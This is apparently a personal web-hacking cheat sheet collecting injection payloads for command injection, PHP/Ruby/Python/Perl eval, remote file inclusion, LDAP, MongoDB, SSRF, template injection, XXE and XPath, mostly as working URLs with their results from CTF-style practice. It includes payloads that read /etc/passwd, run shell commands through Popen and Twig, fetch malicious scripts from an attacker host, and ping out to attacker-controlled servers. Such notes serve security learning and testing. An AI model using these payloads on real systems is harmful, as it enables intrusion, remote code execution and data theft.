Web Injections

Basics

  • Used to run arbitrary commands on a server.

  • Multiple payloads can be used to trigger this behavior.

  • This is going to take a lot of guess-work .. just keep trying till you get it

Cookies

  • Check cookies

    • Tools > Developer > Application > Cookies

    • for yes-no or admin flags

    • for username (ex: auth=webuser)

      • Update to 'admin' to elevate!

  • Try google chrome extension

  • Encode/Decode with Base64 if needed

  • MD5 key for username:

62318aca2ef2e809a13623715a8aaff4   ..testme
21232f297a57a5a743894a0e4a801fc3   ..admin
> echo -ne admin | md5sum          ..ne to prevent new-line dump

Admin Registration Bug

  • Admin Registration Tricks

  • You might be able to register with 'AdMIN' or 'admin '

  • And the login will assume you are actually 'admin'

  • This is just dirty programming!

  • select * from users where username = 'admin'

Catch a Login Redirect with Burp

http://abc.libcurl.so/
http://abc.libcurl.so/login.php    ..redirect

Burp or Curl.. you'll find the redirect-secret!!!
curl http://abc.libcurl.so/
<b>secretstring</b>                ..secret!!

Naughty Strings

Try and break a webpage for error or injection:

Command Injection Basics

command1 && command2  .. will run command2 if command1 succeeds.
command1 || command2  .. will run command2 if command1 fails.
command1 ; command2   .. will run command1 then command2.
command1 | command2   .. will run command1 send the output of command1 to command2.

Command Injections

  • Where [x] is the value you provided in the form or in the URL.

  • Instead of sending the [x] to the command:

  • If commands are blocked, backticks might still be allowed!

ping x
ping 127.0.0.1
ping 127.0.0.1 ; cat /etc/passwd
ping 127.0.0.1 ; /usr/local/bin/badApp

http://xyz.so/?ip=127.0.0.1
http://xyz.so/?ip=127.0.0.1;pwd
http://xyz.so/?ip=127.0.0.1;uname
http://xyz.so/?ip=127.0.0.1;cat /etc/passwd
http://xyz.so/?ip=127.0.0.1;/usr/local/bin/score 73c7f148-dfb3-437a-a4a6-d6f74e6ed77d
http://xyz.so/?ip=127.0.0.1%26%26uname   ..&&
http://xyz.so/?ip=127||uname             ..fail and run
http://xyz.so/?ip=`uname`                ..back-ticks get priority
http://xyz.so/?ip=`/tmp/myApp`           ..my app

Blind

  • Commands are blocked, but $() might be allowed

http://xyz.so/?ip=`uname`                        ..error
http://xyz.so/?ip=$(uname)                       ..ok, but blind
http://xyz.so/?ip=$(curl https://me/hack)        ..watch logs to see if connect
http://xyz.so/?ip=$(ping hack.myserver)          ..watch dns for request
http://xyz.so/?ip=$(sleep 20)                    ..took 20 sec - so it works!
http://xyz.so/?ip=$(/usr/local/bin/myApp)        ..blind!

No spaces allowed

> cat${IFS}file.txt
{cat,file.txt}

{/root,-la}

/&pwd/&pwd
/var/task&{cat,lambda_function.py}   --works!!

{/var/log/,-la}
/var/log&{cat,yum.log}

/var/log&{ls,//var/log/yum.log}
/&{cat,/var/log/yum.log}
sbx_user1051
/&{ls,-la,/home/sbx_user1051/}

Found this hiding behind ...  instead of . ..
{/var/task/...,-la}

Name Field injection

Injecting the 'name' login field - gives command injection Custom messages aren't vulnerable to command injection, but your 'name' is.

echo -e "hello\n-- COW MASTER && WHOAMI" | cowsay
echo -e "hola\n-- COW " && ECHO -E "ME"#" | cowsay

JONES ${PWD}
 ________________________________ 
< hello -- BOB JONES /app/public >
 -------------------------------- 
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||


Attempts to parameterize b/c of array:

`H=$(LS)` ECHO ${H}
v=`ls`;echo ${v}
V=$(LS); ECHO ${V}
(V=$(LS));ECHO ${V}
(V=`LS`);ECHO ${V}
`(V=LS);ECHO ${V}`
`V=LS`;ECHO ${V,,}
`V=$(LS);ECHO ${V,,}`
`V=LS; ECHO ${V,,}`

`V=LS;${V,,}`   ..finally got it, but lowercase!!
 _____________________________________ 
/ hi -- BOB about.php css custom.php  \
| favicon-16x16.png favicon-32x32.png |
| favicon.ico includes index.php js   |
| login.php logout.php profile.php    |
\ random.php register.php             /
 ------------------------------------- 
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||


`V="LS /";${V,,}`

 ________________________________________ 
/ hi -- BOB app bin bootstrap cowsay dev \
| etc flag home lib media mnt proc root  |
\ run sbin srv sys tmp usr var           /
 ---------------------------------------- 
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||

attempt to 'cat /flag' .. but 20 char limit
/f*  will call /flag .. this is 'splatting'

`V="cat /f*";${V,,}`   ..win !!!

 _________________________________________ 
/ hi -- BOB                               \
| FLAG{need_bett3r_san1tization}           |
\                                         /
 ----------------------------------------- 
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||

PHP Injections

http://abc.so/?name=hack
http://abc.so/?name=hack".system("id")."
http://abc.so/?name=hack".system("uname -a")."
http://abc.so/?name=hack".system('uname -a'); $dummy=".
http://abc.so/?name=hack".system('uname -a');#
http://abc.so/?name=hack".system('uname -a');//.

--------------------
--------------------
'usort' in PHP code.. will let you exploit the ending

http://abc.so/?order=id
http://abc.so/?order=id;}//: 
http://abc.so/?order=id));}//
http://abc.so/?order=id);}//
http://abc.so/?order=id);}system('id');// 
http://abc.so/?order=id);}system('uname -a');// 

--------------------
--------------------
PCRE_REPLACE_EVAL
deprecated as of PHP 5.5.0
preg_replace()
/e addition to the 'pattern' lets you 'evaluate' the expression

http://abc.so/?new=hack&pattern=/lamer/&base=Hello lamer
http://abc.so/?new=hack&pattern=/lamer/e&base=Hello lamer
http://abc.so/?new=phpinfo()&pattern=/lamer/e&base=Hello lamer
http://abc.so/?new=system('uname -a')&pattern=/lamer/e&base=Hello%20lamer


--------------------
--------------------
assert()

Now that we know how to finish the syntax to avoid errors, 
We can just inject our payload to run the function 
Keep playing till you get no error..

http://abc.so/?name=hack
http://abc.so/?name=hack'.'
http://abc.so/?name=hack'.phpinfo().'
http://abc.so/?name=hack'.system(id).'
http://abc.so/?name=hack'.system("uname -a").'

Open Redirect

http://abc.so/redirect.php?uri=//www.google.com
http://abc.so/redirect.php?uri=//webhook.site/evilcode

PHP Includes

  • PHP normally disables loading of remote files: allow_url_include

--------------------
Found: 
http://abc.so/?page=intro.php   ..Warning: include(intro.php'): failed to open stream
http://abc.so/?page=intro.php'  ..Warning: include(): Failed opening 'intro.php'' for inclusion

Prep:
http://myhost/myinclude.txt         ..phpinfo()
http://myhost/myevilinc.txt        ..malicious script

Attack:
http://abc.so/?page=../../../etc/passwd
http://abc.so/?page=http://google.com
http://abc.so/?page=http://myhost/myinclude.txt
http://abc.so/?page=http://myhost/myevilinc.txt
http://abc.so/?page=http://myhost/myevilinc.txt?c=id                ..fail
http://abc.so/?page=http://myhost/myevilinc.txt&c=id                ..ok
http://abc.so/?page=http://myhost/myevilinc.txt&c=uname -a          ..ok
http://abc.so/?page=http://myhost/myevilinc.txt&c=/usr/local/myapp  ..ok

--------------------
NULL BYTE
Server is forcing php to each page
To trim off the .php suffix

http://abc.so/?page=intro
http://abc.so/?page=intro&page=http://myhost/myinclude.txt 
http://abc.so/?page=intro'                          ..Warning: include(intro'.php): failed
http://abc.so/?page=intro%00                        ..fail but clean error
http://abc.so/?page=intro.php%00                    ..ok
http://abc.so/?page=../../../../etc/passwd          ..error 'passwd.php' not found
http://abc.so/?page=../../../../../etc/passwd%00    ..ok
http://abc.so/?page=http://myhost/myinclude.txt%00  ..ok
http://abc.so/?page=http://myhost/myevilinc.txt%00&c=uname -a             ..ok
http://abc.so/?page=http://myhost/myevilinc.txt%00&c=/usr/local/bin/myapp ..ok

Ruby Injections

  • Ruby with 'eval' - Eval is evil

  • Ruby uses ` for command execution!!

  • Here, we will need to do the following:

    • A double-quote " to break out of the string.

    • Add a + sign for string concatenation (don't forget to URL-encode to %2b)

    • Add a call to the command ([COMMAND]) we want to run using `

    • Add another + sign for string concatenation.

    • Another double-quote " to close the one that was already there.

http://abc.so/?username=hack
http://abc.so/?username=hack" 

Error: 
@message = eval "\"Hello "+params['username']+"\""

http://abc.so/?username=hack"+""+"
http://abc.so/?username=hack"%2b""%2b"
http://abc.so/?username=hack"+`uname -a`+"
http://abc.so/?username=hack"%2b`uname -a`%2b"
http://abc.so/?username=hack"%2b`/usr/local/bin/myapp`%2b"

Python Injections

--------------------
--------------------
http://abc.so/hack
http://abc.so/hack'    
http://abc.so/hack"            .. error
http://abc.so/hack""           .. ok
http://abc.so/hack"+"          .. ok
http://abc.so/hack"%2b"        .. ok
http://abc.so/hack"+"test"+"   .. ok (text injectino)
http://abc.so/hack"+str(1)+"   .. ok (python test)
http://abc.so/hack"+str(os.popen("ls"))+"
http://abc.so/hack"+str(os.popen("ls").read())+"
http://abc.so/hack"+str(os.popen("/usr/local/bin/myapp").read())+"

--------------------
--------------------
http://abc.so/hack"+str(os.system'id'))+"                         .. error
http://abc.so/hack"+str(os.popen("ls"))+"                         .. error
http://abc.so/hack"+str(__import__('os').system('id'))+"          .. ok
http://abc.so/hack"+str(__import__('os').popen('id').read())+"    .. ok
http://abc.so/hack"+str(__import__('os').popen('cat /etc/passwd').read())+"
http://abc.so/hack"+str(__import__('os').popen('/usr/local/bin/myapp').read())+"


Python Injection Bypass Execution Rules

Encode/Decode the '/' to bypass execution rules!!

http://abc.so/hack
http://abc.so/hack"+"yes"+"                                                 .. ok
http://abc.so/hack"+str(__import__('os').system('id'))+"                    .. ok
http://abc.so/hack"+str(__import__('os').popen('uname').read())+"           .. ok
http://abc.so/hack"+str(__import__('os').popen('uname -a').read())+"        .. ok
http://abc.so/hack"+str(__import__('os').popen('cat /etc/passwd').read())+" .. error

Not working: test using # aka: comment

http://abc.so/hack"+str(__import__('os').popen('uname # test').read())+"
http://abc.so/hack"+str(__import__('os').popen('uname %23 test').read())+"         ..ok
http://abc.so/hack"+str(__import__('os').popen('uname %23 /etc/passwd').read())+"  ..error
http://abc.so/hack"+str(__import__('os').popen('uname %23 /etc').read())+" ..error
http://abc.so/hack"+str(__import__('os').popen('uname %23 /e').read())+"   ..error
http://abc.so/hack"+str(__import__('os').popen('uname %23 e').read())+"    ..ok
http://abc.so/hack"+str(__import__('os').popen('uname %23 /').read())+"    ..error

/ is blocked
Even using comment with / .. we get an error
Appears that / marks .. are blocked, so we need a workaround
http://abc.so/hack"+str(__import__('os').popen('uname %23 ok').read())+"   ..ok
http://abc.so/hack"+str(__import__('os').popen('uname %23 /').read())+"    ..error
http://abc.so/hack"+str(__import__('os').popen('uname %23 %2f').read())+"  ..error

Python Encode/Decode Payload:
import base64; b64decode(...) 
echo 'cat /etc/passwd' | base64
__import__('base64').b64decode('Y2F0IC9ldGMvcGFzc3dkCg==')

http://abc.so/hack"+str(__import__('os').popen('payload').read())+"        ..ok
http://abc.so/hack"+str(__import__('os').popen(__import__('base64').b64decode('Y2F0IC9ldGMvcGFzc3dkCg==')).read())+"

Python Practice Locally

ASCII bits:
linux > man ascii >
/   .. to search
/ # .. to find the Hash-symbol !!  # = %23  .. / = %2f
n   .. to find NEXT
N   .. to find Previous!!

python3
>> "hacker"+str(1)+"                    .. error
>> "hacker"+str(1+1)+""                 .. ok
>> __import__('os').system('id')        .. ok one-liner os import!!
>> __import__('os').popen('id').read()  .. perfect

Perl Injections

  • Perl Concat using " . "

  • Developer Tools > Network > Preserve Logs

  • Find a back-end page running with "hello?name=hack"

http://abc.so/cgi-bin/hello?name=hack
http://abc.so/cgi-bin/hello?name=hack'.`uname -a`.'
http://abc.so/cgi-bin/hello?name=hack'.`/usr/local/bin/myapp`.'

LDAP Injection

--------------------
Bypass
NULL BIND allows local users to login w/o LDAP acct

http://myldap.so/  ..try login with:
admin
admin'
admin'   
admin)
admin' or 1=1 --

Use Burp: Catch the request, remove/tweak the login
Or Chrome: Developer Tools > R.Click Copy as CURL
curl 'http://myldap.so/' -H 'Connection: keep-alive' -H 'Cache-Control: max-age=0' -H 'Origin: http://myldap.so' -H 'Upgrade-Insecure-Requests: 1' -H 'DNT: 1' -H 'Content-Type: application/x-www-form-urlencoded' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3' -H 'Referer: http://myldap.so/' -H 'Accept-Encoding: gzip, deflate' -H 'Accept-Language: en-US,en;q=0.9' 
--data 'username=NULL&password=NULL' --compressed --insecure
--data '' --compressed --insecure



--------------------
Advanced Bypass

http://myldap.so/
http://myldap.so/?name=admin&password=admin  .. no error 
http://myldap.so/?name=admin'&password=admin .. no error
http://myldap.so/?name=admin"&password=admin .. no error
http://myldap.so/?name=admin)&password=admin .. ')' Error! search ldap server, msg:'Bad search filter'

(&(cn=admin))(userPassword=admin))
(&(cn=admin)(cn=*))%00)(userPassword=admin))

http://myldap.so/?name=admin)(cn=*))%00&password=admin
.. Win!!

MongoDB Injection

  • Instead of doing every manual-match attempt... use RubyBrute

--------------------
--------------------
Just like SQLi
'||1==1 %00
 or yes, null byte!

http://mongo.so/?username=admin' or 1=1--%00
http://mongo.so/?username=admin&password=admin&submit=Submit
http://mongo.so/?username=admin&password=admin&submit=Submit' or 1=1 --
http://mongo.so/?username=admin'&password=admin&submit=Submit
.. Can't canonicalize query :: caused by :: SyntaxError: missing ; before statement :

http://mongo.so/?username=admin'+'&password=admin&submit=Submit
http://mongo.so/?username=admin%27%2b%27&password=admin&submit=Submit     ..'+'
http://mongo.so/?username=admin'||1==1 %00 &password=admin&submit=Submit  ..win!!


--------------------
--------------------
Manual match to find every letter

http://mongo.so/?search=admin    ..ok
http://mongo.so/?search=admin'   ..no error
http://mongo.so/?search=admin"   ..no error
http://mongo.so/?search=admin' && this.password.match(/aaa/)%00
http://mongo.so/?search=admin' %26%26 this.password.match(/aaa/)%00  ..nothing
http://mongo.so/?search=admin' %26%26 this.password.match(/d/)%00    ..nothing
http://mongo.so/?search=admin' %26%26 this.password.match(/^d/)%00   ..look for each
http://mongo.so/?search=admin' %26%26 this.password.match(/^5/)%00   ..start with 5
.. going to take forever
.. you need RubyBrute

Server Side Request Forgery (SSRF)

  • Allows an attacker to send commands to the localhost/server instead of normal path

http://abc.so/?url=https://mysite.com/hacker.txt
http://abc.so/?url=http://127.0.0.1:1234            ..worked
http://abc.so/?url=http://localhost:1234            ..worked
http://abc.so/?url=http://127.0.0.2:1234            ..2,3 also worked
http://abc.so/?url=http://017700000001:1234         ..Octal Format worked

http://abc.so/?url=http://mysite.com./hacker.txt 
.. also works with a '.' so maybe we can forge to a diff domain

You can also try faking the SUFFIX of the link.. 
Send it to a custom link that has a zone which points to 127.0.0.1, like this:
http://abc.so/?url=http://mysite.lab.link/hacker.txt 

dig blah.mysite.lab.link
127.0.0.1

http://abc.so/?url=http://mysite.com.link:1234
This proves you can fake the suffix into directing to localhost!!

Server Side Template Injection (SSTI)

------------------------------
Vulnerability
http://abc.so/test{{4-1}}                     .. test3
http://abc.so/test{{''.__class__}}            .. test<type 'str'>
http://abc.so/test{{''.__class__.mro()[2]}}   .. test<type 'object'>

------------------------------
Recon: Catch all the classes
http://abc.so/test{{''.__class__.mro()[2].__subclasses__()}}

Search for Popen:
:/Popen    ..found on line 234

Numbering:
Even though our text starts at line 1.. Programming will start at '0'

------------------------------
Confirm Popen
http://abc.so/test{{''.__class__.mro()[2].__subclasses__()[233]}}
http://abc.so/test{{''.__class__.mro()[2].__subclasses__()[233]("uname")}}
.. <subprocess.Popen object at 0x7fa4a74f73d0>
.. Good sign that it didnt error!

------------------------------
Python Local Troubleshooting:
Python2
>> import subprocess
>> subprocess.Popen("uname")                 .. Works! "Linux"
>> subprocess.Popen("uname -a")              .. Error
>> subprocess.Popen(["uname", "-a"])         .. Works! "Linux 4.8.17"
>> subprocess.Popen("uname -a", shell=True)  .. Works!

------------------------------
Make Popen call 'uname' and 'myapp'
http://abc.so/test{{''.__class__.mro()[2].__subclasses__()[233]("uname")}}
http://abc.so/test{{''.__class__.mro()[2].__subclasses__()[233]("uname -a",shell=True,stdout=-1).communicate()[0]}}
http://abc.so/test{{''.__class__.mro()[2].__subclasses__()[233]("/usr/local/bin/myapp",shell=True,stdout=-1).communicate()[0]}}

------------------------------
Twig Example #2
http://abc.so/?name=hack{{4-1}}
http://abc.so/?name=hack{{_self}}   ... 'Twig'
http://abc.so/?name=hack{{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('uname')}}
http://abc.so/?name=hack{{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('/usr/local/bin/myapp')}}

File Uploads

XML Attack

--------------------
Identify:
http://abc.so/?xml=<test>hacker</test>

--------------------
Detail:
XML Entity can be declared:
<!ENTITY x SYSTEM "file:///etc/passwd">

You will need to envelope this properly, in order to get it to work correctly:
<!DOCTYPE test [<!ENTITY x SYSTEM "file:///etc/passwd">]>

Then use the reference to x:  &x; 
(don't forget to encode &) 
.. and get the result inserted in the XML document during its parsing (server side).

--------------------
Exploit:
http://abc.so/?xml=<!DOCTYPE test [<!ENTITY x SYSTEM "file:///etc/passwd">]><test>&x;</test>
http://abc.so/?xml=<!DOCTYPE test [<!ENTITY x SYSTEM "file:///etc/passwd">]><test>%26x;</test>

XPath Injection

http://abc.so/?name=hack&password=secret
http://abc.so/?name=hack']%00&password=secret  ..with NULL Byte
http://abc.so/?name=hack']/parent::*/child::node()%00&password=secret
http://abc.so/?name=hack' or 1=1]/parent::*/child::node()%00&password=secret

' and '1'='1  .. error
' or '1'='0   .. error
' and '1'='0  .. no results
' or '1'='1   .. ok

Last updated